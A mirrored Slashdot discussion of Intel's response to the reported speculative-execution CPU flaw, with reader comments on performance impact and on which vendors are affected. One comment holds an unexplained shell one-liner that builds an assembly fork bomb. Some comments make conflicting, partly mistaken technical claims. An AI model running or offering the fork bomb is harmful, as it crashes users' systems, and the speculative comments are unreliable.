Slashdot Mirror
Intel Responds To Alleged Chip Flaw, Claims Effects Won't Significantly Impact Average Users (hothardware.com)
An anonymous reader quotes a report from Hot Hardware: The tech blogosphere lit up yesterday afternoon after reports of a critical bug in modern Intel processors has the potential to seriously impact systems running Windows, Linux and macOS. The alleged bug is so severe that it cannot be corrected with a microcode update, and instead, OS manufacturers are being forced to address the issue with software updates, which in some instances requires a redesign of the kernel software. Some early performance benchmarks have even suggested that patches to fix the bug could result in a performance hit of as much as 30 percent. Since reports on the issues of exploded over the past 24 hours, Intel is looking to cut through the noise and tell its side of the story. The details of the exploit and software/firmware updates to address the matter at hand were scheduled to go live next week. However, Intel says that it is speaking out early to combat "inaccurate media reports."
Intel acknowledges that the exploit has "the potential to improperly gather sensitive data from computing devices that are operating as designed." The company further goes on state that "these exploits do not have the potential to corrupt, modify or delete data." The company goes on to state that the "average computer user" will be negligibly affected by any software fixes, and that any negative performance outcomes "will be mitigated over time." In a classic case of trying to point fingers at everyone else, Intel says that "many different vendors' processors" are vulnerable to these exploits. You can read the full statement here.
Intel acknowledges that the exploit has "the potential to improperly gather sensitive data from computing devices that are operating as designed." The company further goes on state that "these exploits do not have the potential to corrupt, modify or delete data." The company goes on to state that the "average computer user" will be negligibly affected by any software fixes, and that any negative performance outcomes "will be mitigated over time." In a classic case of trying to point fingers at everyone else, Intel says that "many different vendors' processors" are vulnerable to these exploits. You can read the full statement here.
"Intel believes its products are the most secure in the world"
Yeah, more secure than all those other products who don't let you log in with an empty password.
"First they came for the slanderers and i said nothing."
Yeah, notice the part where they tried to spread the blame to other CPU manufacturers.
"First they came for the slanderers and i said nothing."
Nice try Intel, but phoronix benchmarks prove you wrong, and show even up to 60! % loss in some loads.
Intel says "Intel believes these exploits do not have the potential to corrupt, modify or delete data."
They do not say anything about read. This means exploit lets read protected memory.
I think their magic excuse 8-ball is broken too, cause I think this is the exact same excuse they've used for all their previous screw ups too.
All my users are above average.
If the hit is really 30% for FUCKWIT I wonder if there's a case to be made for a 'I know all the software on my box, don't protect me against kernel to user mode data leakage'.
You could have "--bareback" switch the user could pass into the kernel from the bootloader.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I wonder, does the average computer owner also have a bank account or conduct any transactions with vendors whose websites are hosted on shared instance cloud computers? (hint: that would be everyone except maybe kim jong). You are impacted by this even if it's not a computer you own. Furthermore, while we don't know the full details of this, it's entirely plausible that the program running in user space could be a web page javascript, java plugin or adobe flash program. If so such web pages could harvest your private data including website passwords, your bitcoin key, or any number of things you don't want leaking.
Some drink at the fountain of knowledge. Others just gargle.
You'll now be running 1200-1600 servers depending on your workload.
Custom electronics and digital signage for your business: www.evcircuits.com
If the 'sensitive information' they can gather includes credentials or tokens the user wouldn't otherwise have access to, it sure as shit allows modification of data
when did AMD say that? all reports say that both AMD and ARM are also affected
AMD CPUs are NOT affected. Quit spreading lies.
https://lkml.org/lkml/2017/12/27/2
That was one of the most uninformative, denying-we-did-anything-wrong press releases I've read in a long while. Therefore I suspect it came from the legal team. If only Intel's CPU designers were as good as the Intel legal team.
Intel will soon be announcing a $29 CPU replacement program for qualifying customers.
Does not "corrupt, modify or delete data". Yes, nice. It can just steal your passwords and encryption keys and then use them to do that corruption, modification or deletion. A shameless lie by misdirection. Intel has no honor at all.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
As Intel has been caught red-handed doing massively illegal things several times, like any good criminal enterprise they of course have a first-rate legal team.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
AMD checks privileges before it runs the code. Intel chose to optimize their branch prediction in a way that checked the privileges AFTER the code was run, but before it was written/applied. This allowed a small window for someone to read the results of that illegal instruction before it was dumped for being flagged as an exception.
I've read some info that speculates that Intel likely gained some performance by letting a lot of branch predictions run and then dumping those that are flagged after the fact instead of checking each and every one before it was run (because a lot of branches are dumped anyway for other reasons, so small price to pay to let things run and be wrong.) I don't know for sure, though. Sounds to me like they skimped on some silicon to check in hardware and put more into branch prediction.
Basically the code runs like this:
Hi, I'm a user program with user rights. I'd like to know where the super secret memory address of this part of the system is so I can read from it... and maybe even write to it later with a different exploit.
AMD: No, you're in user land, you can't see kernel land.
end of story
Intel: Oh, let me fetch that for you... Here, I've typed up a handy map of things and notes on your way around the super-secret areas... just show me your security clearance first before I hand it over.
Your malware: *glances at map, notes*
Intel: WAIT... you're in user land. You can't have this. *lights the map and notes on fire after you've already seen them*
Incorrect. From the FAQ on the page you linked to:
Which systems are affected by Meltdown? ... We successfully tested Meltdown on Intel processor generations released as early as 2011. Currently, we have only verified Meltdown on Intel processors. At the moment, it is unclear whether ARM and AMD processors are also affected by Meltdown.
My spoon is too big.
All hardware is "shared". Javascript in your browser can read other processes memory. You aren't safe. Any website can exploit this.
Based on other comments above, there is a fair chance you misunderstand the nature of the bug. It is reported that AMD validates requests for speculative execution before executing them, and Intel validates them afterwards. The bug is supposedly that it's possible to read the results of the speculative execution before the Intel chip notices that they were improperly executed. If that is so, then the AMD chips do *not* have this particular bug.
I think we've pushed this "anyone can grow up to be president" thing too far.
Actually, not so quickly. Only because of Kernel-mode JIT.
Read it very carefully.
The fixes are being more careful in the bytecode verifier prior to JIT'ing (if that's even possible!), or isolating the JIT'd code into its own space, or considering eBFP bytecode loading to be as security sensitive as insmod. And... I can't see how splitting kernel space into its own page table would avoid this particular variant.
For more info about BPF, check this. Sadly, "... Tcpdump asks the kernel to execute a BPF program within the kernel context. This might sound risky, but actually isn't." didn't take timing attacks into consideration.
They haven't demonstrated a user-mode reading kernel memory just yet. Securing a Linux box on AMD is as trivial as disabling eBPF.
However, it really uncovers a fundamental issue in all JITs allowing what should be interpreted code to read things, using timing attacks, that it should not be able to (escaping its sandbox). Hence all the references about JavaScript - similar attack allows JavaScript code to read memory outside the JavaScript world, but as far as I can tell, not read anything that the JavaScript interpreter couldn't read (although it seems to require JIT compilation). If anything, it's a general class of attacks allowing anything to read about its underlying environment.
The gotcha on Intel chips is that user-mode-x86 code can use this same timing attack on the kernel. On AMD, the timing attack is nullified because speculative reads fail before triggering cache loads.
Intel PR monkeys are trying to take AMD down with them, let's make this clear:
For the 3 bugs, the biggest one only affect Intel CPUs, for bug 2 and 3:
AMD bug only affect THE SAME PROCESS, unlike Intel, which allows exploit to cross process
https://googleprojectzero.blog...
As shown, AMD was only vulnerable to "the ability to read data inside mis-speculated execution within the same process, without crossing any privilege boundaries."